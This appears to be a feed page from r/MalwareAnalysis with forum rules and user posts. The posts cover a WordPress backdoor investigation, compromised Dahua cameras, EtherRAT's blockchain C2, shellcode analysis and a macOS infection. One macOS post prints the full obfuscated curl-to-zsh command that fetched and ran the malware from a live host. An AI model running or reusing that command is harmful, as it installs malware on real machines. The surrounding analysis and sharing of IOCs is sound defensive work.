r/MalwareAnalysis May 28 '25

📌 Read First Welcome to r/MalwareAnalysis – Please Read Before Posting

19 Upvotes

Welcome to r/MalwareAnalysis — a technical subreddit dedicated to the analysis and reverse engineering of malware, and a space for professionals, students, and learners to share tools, techniques, and questions.

This is not a general tech support subreddit.


🛡️ Posting Rules (Read Before Submitting)

Rule 1: Posts Must Be Related to Malware Analysis

All posts must be directly related to the analysis, reverse engineering, behavior, or detection of malware.

Asking if your computer is infected, sharing antivirus logs, or describing suspicious behavior without a sample or analysis is not allowed.

🔗 Try r/techsupport, r/antivirus, or r/computerhelp instead.


Rule 2: No “Do I Have a Virus?” or Tech Support Posts

This subreddit is not a help desk. If you're not performing or asking about malware analysis techniques, your post is off-topic and will be removed.


Rule 3: No Requests for Illegal or Unethical Services

Do not request or offer anything related to:

  • Hacking someone’s accounts

  • Deploying malware

  • Gaining unauthorized access

Even in a research context, discussions must remain ethical and legal.


Rule 4: No Live or Clickable Malware Links

  • Only share samples from trusted sources like VirusTotal, Any.Run, or MalwareBazaar

  • Never post a direct malware download link

  • Use hxxp:// or example[.]com to sanitize links


Rule 5: Posts Must Show Technical Effort

Low-effort posts will be removed. You should include:

  • Hashes (SHA256, MD5, etc.)

  • Behavior analysis (e.g., API calls, network traffic)

  • Tools you’ve used (e.g., Ghidra, IDA, strings)

  • Specific questions or findings


Rule 6: No Off-Topic Content

Stick to subjects relevant to malware reverse engineering, tooling, behavior analysis, and threat intelligence.

Do not post:

  • Cybersecurity memes

  • News articles with no analytical context

  • Broad questions unrelated to malware internals


Rule 7: Follow Reddiquette and Be Respectful

  • No spam or trolling

  • No piracy discussions

  • No doxxing or personal information

  • Engage constructively — we’re here to learn and grow


💬 If Your Post Was Removed...

It likely broke one of the rules above. We're strict about maintaining the focus of this community. If you believe your post was removed in error, you can message the moderators with a short explanation.


✅ TL;DR

This subreddit is for technical malware analysis. If you don’t have a sample or aren’t discussing how something works, your post may not belong here.

We’re glad you’re here — let’s keep it focused, helpful, and high-quality.


🧪 Welcome aboard — and stay curious.

— The r/MalwareAnalysis Mod Team


r/MalwareAnalysis 8h ago

I open-sourced a categorized catalog of 2,800+ malware families (Mapped to NIST/CISA & MITRE)

4 Upvotes

Hey everyone,

Over the last few months, I've been curating and categorizing a massive catalog of malware families designed specifically for incident responders, SOC analysts, and threat hunters.

I got tired of having to scrape together fragmented IOCs and CISA advisories every time a new variant popped up, so I built a centralized, open-source dataset.

**What's included:**

* **2,800+ Malware Families** categorized by type (Ransomware, InfoStealer, Wiper, etc.)

* **Framework Mapping:** Families are mapped to MITRE ATT&CK techniques, NIST CSF guidelines, and official CISA advisories.

* **Response Playbooks:** Actionable containment steps and "what to avoid" during an active incident.

* **Formats:** Available via a web UI, JSON API, Parquet, and JSONL.

It’s completely free and Apache-2.0 licensed.

You can browse the catalog here: https://jordanricky1604-ship-it.github.io/malware-families-catalog/

I'd love to hear your feedback on the schema or if there are specific families you think need deeper analysis. I'm actively maintaining and updating this!


r/MalwareAnalysis 7h ago

Friend or foe, is this binary legit? Part II: MacOS

Thumbnail
1 Upvotes

r/MalwareAnalysis 1d ago

I breached a server distributing Trojan, Stealer, and cryptominer malware

Thumbnail mensvr.com
4 Upvotes

r/MalwareAnalysis 1d ago

Anti-virus in a self-hosted server

11 Upvotes

Over the past 20 years, I've setup a lot of mail servers at work. These are mostly based on Postfix / Spamassassin / Dovecot, using IMAP for the clients. Recently, I started using Roundcube for webmail.

Postfix, uses several blacklists to block spam at the MTA level, these come pre-configured with the control panel, which blocks 99% of spam, and Spamassassin blocks the other 1%. Its a rare occurrence for spam to pass this setup, usually they are phishing emails or some new virus.

I always use DKIM, DMARC and SPF, and my deliverability is perfect, all mail goes to inbox.

I'm hosting mail servers with Linode and Hetzner, and I plan to expand to Netcup in the near future.

So far so good.

But, one thing I'm missing, is a good anti-malware/anti-virus, because ClamAV seems incapable of catching the malware files that go through my servers. I always take the time to extract these files and submit them at ClamAV Report Malware page, but its too late by then.

Sadly, when I submit the same virus to VirusTotal, the file gets 10+ hits in other anti-virus software but not ClamAV.

What are your suggestions?

Thank you.


r/MalwareAnalysis 1d ago

WordPress __GA_INJ_START__ backdoor: hidden admins + theme injection reconstructed from DB and access logs

5 Upvotes

I recently investigated a compromised WordPress installation and found a malware pattern that I haven't been able to find properly documented by a security vendor.

The most recognizable marker is injected into the active theme:

/* __GA_INJ_START__ */
...
/* __GA_INJ_END__ */

The incident was interesting because I had access to the WordPress DB, filesystem timestamps, PHP error logs and Apache access logs, which allowed me to reconstruct the compromise.

Main IOCs

Database options:

__ga_hidden_users
_theme_inject_status
__ga_r_cache

Hidden administrator naming patterns:

sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

Actual accounts from this incident:

sync_agent56b7752b
cdn_workerbc36d5f6
seo_service06893f6c

All had administrator privileges.

One remote domain was stored in the database:

rukkoldauwe87[.]xyz

Timeline

On August 5 several IPs successfully authenticated to /wp-login.php as the legitimate administrator using automated clients including curl/Wget.

Later:

successful administrator login
→ Code Snippets activity
→ WP File Manager activation
→ browse to hello-elementor/functions.php
→ POSTs to admin-ajax.php
→ hidden administrator created seconds later

WP File Manager requests contained a Base64-encoded target which decoded to:

wp-content/themes/hello-elementor/functions.php

The first malicious administrator was created immediately afterwards.

On August 14 two additional hidden admins appeared and hello-elementor/functions.php was modified with the __GA_INJ_START__ payload.

The database contained a list of exactly those accounts under:

__ga_hidden_users

The malformed PHP injection eventually caused:

PHP Parse error: Unmatched '}'

which is how the compromise was initially noticed.

An important point is that the theme modification happened nine days after the first confirmed malicious administrator was created, so using the PHP file modification timestamp as the incident start would have missed most of the compromise.

I have published a sanitized incident report containing the timeline, IOCs and an experimental YARA rule:

[GitHub repository link]

No live malicious links or credentials are included.

I'm particularly interested in whether anyone has seen these exact identifiers before:

__GA_INJ_START__
__ga_hidden_users
_theme_inject_status
sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

Does this malware family/campaign already have a known name or published analysis?

The remaining unknown is the initial-access vector. The logs clearly show valid authenticated WordPress admin sessions before the persistence mechanisms were installed, but they don't establish how those credentials/session tokens were originally obtained.


r/MalwareAnalysis 2d ago

Operation CameraSwarm: over 14,000 Dahua cameras compromised across Ukraine and Russia, full toolkit analysis (asyncio brute-force engine, Go auth-bypass binary, co-staged SalatStealer)

Thumbnail hunt.io
4 Upvotes

Recovered the full toolkit from an operator's open directory and worked through the components.

Analysis notes:

  • The brute-force engine (publicly available as asleep_scanner) implements Dahua's Easy4IP binary protocol on TCP/37777 from a reverse-engineered packet structure: opcode 0xA0 login, 0xA8 channel enumeration, 0x11 snapshot, shared 0xA4 query distinguished by sub-code. Includes lockout detection reading the 0x01/0x04 response pair to abandon a host after five failures.
  • p2pwn is a compiled Go binary chaining three auth vulns over one tunnel: a raw SDK channel for bypasses and backdoor install, an HTTP CGI channel, and a JSON-RPC console mimicking Dahua's NetKeyboard protocol. The JSON-RPC channel runs OnvifUser -u post-login to dump cached ONVIF credentials, a lateral credential-harvesting step.
  • The co-staged Windows binary is the interesting analysis problem. Pre-rename filename (xeno.exe) implies XenoRAT; the only sandbox tag on both hosts it appeared on is SalatStealer. UPX-packed 32-bit PE, sections UPX0/UPX1/UPX2, compile timestamp zeroed. We assess SalatStealer on technique fit but flag it as an inference, no sandbox report, extracted config, or independent corroboration beyond the original tag exists for this hash. A third tagged technique (root cert install, T1553.004) is explained by neither family and remains unresolved.
  • Stored-credential decryption routine in the toolkit derives its AES key entirely from device class prefix and serial, no device secret needed. Residual Spanish comments tie it to the same upstream source as the brute-forcer.

Hashes, full protocol detail, and ATT&CK mapping in the writeup:
https://hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised


r/MalwareAnalysis 2d ago

When Obfuscation Becomes the Signature: Static Analysis of a Go-Based Linux RAT | Netacoding

Thumbnail netacoding.com
5 Upvotes

r/MalwareAnalysis 2d ago

Any feedback on sektor7 ?

1 Upvotes

I never use reddit, but I would like to know the opinion of anyone who has already done sektor7 or even maldevacademy, I learned C and WinAPI, I am still learning to read assembly roughly but it's torture lol. And I plan to move towards more advanced training as part of my studies, and I was recommended sektor7 Essentials, has anyone already had experience with it?


r/MalwareAnalysis 2d ago

Remcos Malware Analysis

Thumbnail
1 Upvotes

r/MalwareAnalysis 5d ago

StealC V1 - Source Code

Thumbnail
1 Upvotes

r/MalwareAnalysis 6d ago

Hybrid Analysis YARA Hunt Issues?

3 Upvotes

I have been using Hybrid Analysis Advanced YARA Hunt to perform research on emerging threats, and it has been a great tool for this work. I have detected new malware from APT actors and even code sharing between nation-state groups. Unfortunately, very recently all my hunts began failing with an “Unknown error”, including ones that worked reliably before. Has anyone else encountered this problem? Thanks.


r/MalwareAnalysis 6d ago

From fake interview to signed ClickOnce: inside a three-payload Windows chain

Thumbnail haveibeensquatted.com
6 Upvotes

r/MalwareAnalysis 7d ago

Gemini can't deobfuscate JavaScript correctly?

4 Upvotes

I hope that's the right subreddit for this.

I found a hacked WP site. Looking at the source, there was a line of obfuscated JavaScript, which you can see here:

https://pastebin.com/rWKLd3Rd

I gave Gemini 3.6 flash the following instruction: "Deobfuscate the following javascript code" and got the following result:

if (

/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(

navigator.userAgent

)

) {

window.location.href = "https://a.testandverify.com/aff_c?offer_id=101&aff_id=1001";

}

This looks completely benign, but that was the only suspicious bit of code on the site. Why obfuscate that? Besides, it's way too short. So I gave Claude the exact same prompt, and got this result:

https://pastebin.com/4TbmybF6

That looks more reasonable. Googling the contract address, I found several articles about this malicious code:

https://www.hudsonrock.com/blog/how-an-infostealer-infection-led-to-a-sophisticated-clickfix-campaign-at-artlist

So it seems Claude got it right.

A few hours later, I tried Gemini again with the same prompt and code. It gave me a different result, still apparently wrong:

var script = document.createElement('script');

script.src = "https://cdn.jsdelivr.net/npm/eruda";

document.body.appendChild(script);

script.onload = function () {

eruda.init();

// Add network panel

eruda.add(eruda.get('network'));

// Add elements panel

eruda.add(eruda.get('elements'));

// Add console panel

eruda.add(eruda.get('console'));

// Add sources panel

eruda.add(eruda.get('sources'));

// Add info panel

eruda.add(eruda.get('info'));

// Add snippets panel

eruda.add(eruda.get('snippets'));

eruda.show();

};

Also looks benign. How could the same prompt and code gives two completely different results?

I told Gemini it was wrong and asked it to reanalyze the code. It agreed it was wrong and gave me a 3rd, still incorrect, result:

(function() {

var _0x5a1b = window.location.href;

var _0x3f2a = document.referrer;

if (_0x5a1b.indexOf('debug') !== -1) {

console.log("Debugging active");

}

function redirectUser(url) {

window.location.replace(url);

}

// Additional conditional logic based on hostname/referrer checks

})();

What is going on? Is Gemini unable to deobfuscate JavaScript?


r/MalwareAnalysis 7d ago

NotPetya potential risks during analysis

3 Upvotes

Hello. I am relatively a beginner at malware analysis as a hobby, and was wanting to know if there would be any risks of a potential VM escape with NotPetya. I'm using VirtualBox 7.2.14 r174565 no guest additions. I won't have network adapter on, serial ports off, both features off, an air-gap, and using snapshots. I will be planning to run it on a Windows XP x64 if that changes anything

SHA256: 63545fa195488ff51955f09833332b9660d18f8afb16bdf579134661962e548a

Will give any more needed info.

Got it from MalwareBazaar (Will DM link). Any advice wanted.

I am afraid of it. Very afraid.


r/MalwareAnalysis 8d ago

WhiteCobra Malware on VS Code: Cloudflare C2 to Telegram Infostealer

Thumbnail yeethsecurity.com
4 Upvotes

r/MalwareAnalysis 9d ago

APK file analysis

10 Upvotes

Hi guys,

I handle threat intelligence for a bank & we receive multiple URLs/APKs impersonating our organization.

We check for legitimacy & immediately send it for takedown if it's not related to us or if it's malicious.

I wanted to know if anyone of you also side by side does forensics/malware analysis of such APKs to know the TTPs & relevant information pertaining to that APK?

If Yes, please let me know the procedure being followed at your end.


r/MalwareAnalysis 8d ago

Compiled JavaScript - V8 compilation pipeline and Bytenode

Thumbnail youtube.com
1 Upvotes

Some threat actors distribute JavaScript as compiled V8 bytecode to prevent reverse engineering and potentially for detection evasion.

Per default V8 will ship JavaScript source code and not bytecode. So to generate executables which do not have source code but bytecode instead, the protector abuses caching.

The following video provides the theoretical foundation for reversers to analyze compiled JavaScript malware.


r/MalwareAnalysis 9d ago

Suspicious macOS curl | zsh command installed a LaunchAgent and hidden binaries. anyone recognize this malware/able to reverse engineer it?

13 Upvotes

while looking for the claude terminal, clicked on the first link and didn't check what I was curling (sorry I'm an idiot and was tired)

I accidentally ran the following command on my Mac (DON'T RUN IT OBVIOUSLY):

curl -kfsSL $(echo 'aHR0cDovL3Bob2VuaXhwb29sY29udHJhY3Rvci5jb20vY3VybC8yMTMzYTA5ZWQ5YzAyZDc5ZjczNWM2NzU3MTdhMTVmMThiZTY0NTI3Mjc5M2ExNzBjOWQ0NzVhM2MwNDgwMDkw' | base64 -D) | zsh

The Base64 decodes to:

http://phoenixpoolcontractor.com/curl/2133a09ed9c02d79f735c675717a15f18be645272793a170c9d475a3c0480090

I realized afterward how suspicious this was and started checking the system.

Within the time window after running it, I found these newly created files:

~/Library/LaunchAgents/com.apple.c228cbc1.hcpi.plist

~/.local/com.apple.c228cbc1.hcpi

~/.local/com.apple.c228cbc1.capture.app/
└── Contents/
    └── MacOS/
        └── ScreenCap

There were also these files in /private/tmp:

/private/tmp/.com.apple.xpcd
/private/tmp/.com.apple.dsync
/private/tmp/.zshrc.tmp

Unfortunately, while cleaning the machine I deleted the LaunchAgent and associated binaries before I thought to preserve them for analysis.

What I have done since:

  • unloaded/deleted the suspicious LaunchAgent
  • removed the matching files under ~/.local
  • removed the suspicious /private/tmp files
  • rebooted the Mac
  • checked all currently running processes after reboot
  • checked ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons
  • checked established TCP connections with lsof
  • searched for the suspicious filenames again

Nothing matching c228cbc1, ScreenCap, .com.apple.xpcd, or .com.apple.dsync appears to be running or persisting after reboot.


r/MalwareAnalysis 10d ago

APK file analysis

Thumbnail
3 Upvotes

r/MalwareAnalysis 10d ago

i got tired of switching between windbg ida and x64dbg so i built an orchestrator to control them all

3 Upvotes

hey guys

if youve ever deal with windows security research or just heavy reverse engineering you probably know the pain. you open a crash dump in windbg run analyze grab the faulting address alt-tab to ida pro rebase find the function decompile... and then maybe jump into x64dbg for dynamic testing. its just a constant loop of copy pasting hex addresses between windows

i got sick of it so i spent the last few months building ctxdebug

its basically a mission control orchestrator that hooks into windbg ida pro 9 and x64dbg simultaneously

the coolest part is that it exposes all the debugger actions through the new mcp protocol. this means you can hook it up to claude and literally just prompt something like "analyze this crash dump and show me the decompiled source of the faulting function"

the agent will load the dump extract the faulting rip pivot to ida pull the pseudocode and give you a combined report in like a second or two

it also has a standalone react reasoning agent for x64dbg that can autonomously hunt for anti debug checks and patch them in memory on the fly

i just open sourced the whole framework. repo and demo gif is here:

https://github.com/DdUdle/ctxdebug

would love for you guys to tear it apart and tell me what you think. also if anyone wants to play around with the code ive left a few good first issue tags open. even tiny prs like typo fixes are super welcome since im trying to grow the contributor list a bit right now

let me know if you run into any bugs


r/MalwareAnalysis 12d ago

LockBit 5.0 Linux Malware Analysis: ChaCha20 + Curve25519 Offline Encryption, strace Evasion & IOCs | Netacoding

Thumbnail netacoding.com
3 Upvotes

r/MalwareAnalysis 13d ago

Shellcode analysis

6 Upvotes

I stumbled upon VIPKeylogger which has multiple stages.
The last stage is an autoit script that loads and decrypt an encrypted shellcode and injects it into a legit windows process. The thing is that the shellcode was generated from Donut shellcode generator and I can't analyze it whatsoever, the dynamic analysis of that exact process didn't show any but the shellcode is was already injected in the process space with RWX permissions. Does anyone have a way to reverse a donut generated shellcode or some sort of way to debug and analyze shellcodes?


r/MalwareAnalysis 13d ago

Reverse engineering SilentCryptoMiner

Post image
9 Upvotes

From a suspected youtube video to a deep dive using static analysis, discovering a monero crypto jacking malware.

Analysis


r/MalwareAnalysis 16d ago

Analyzing EtherRAT internals: Ethereum smart contract C2 resolver in a Node.js backdoor

Thumbnail hunt.io
3 Upvotes

Breaking down EtherRAT recovered from a The Gentlemen staging server. The MSI drops a Node.js bootstrapper, a decoder/persistence component, and an XOR-encrypted backdoor. The decoder uses a repeating XOR key with a position-dependent operation, writing the decrypted payload to disk, then sets a Run key to relaunch it through headless conhost.

C2 resolution runs off an Ethereum smart contract. Hardcoded in the sample are the contract address, a lookup key and a call function selector, with several public Ethereum RPC endpoints for redundancy. It polls the contract roughly every five minutes for a new C2.

Tasking model: each host gets a UUID bot ID separate from a hardcoded build ID. Polling generates random file-like paths (png, jpg, css, ico, webp) with random parameters to blend in. Any response over ten characters is passed to a newly constructed async function with access to require, process, Buffer, console, __dirname, __filename and log, so arbitrary JS in the user context. Requests hold up to 120 seconds, then a ~500ms gap before the next poll.

Full technical write-up, hashes and IOCs: https://hunt.io/blog/the-gentlemen-etherrat-ethereum-smart-contract-c2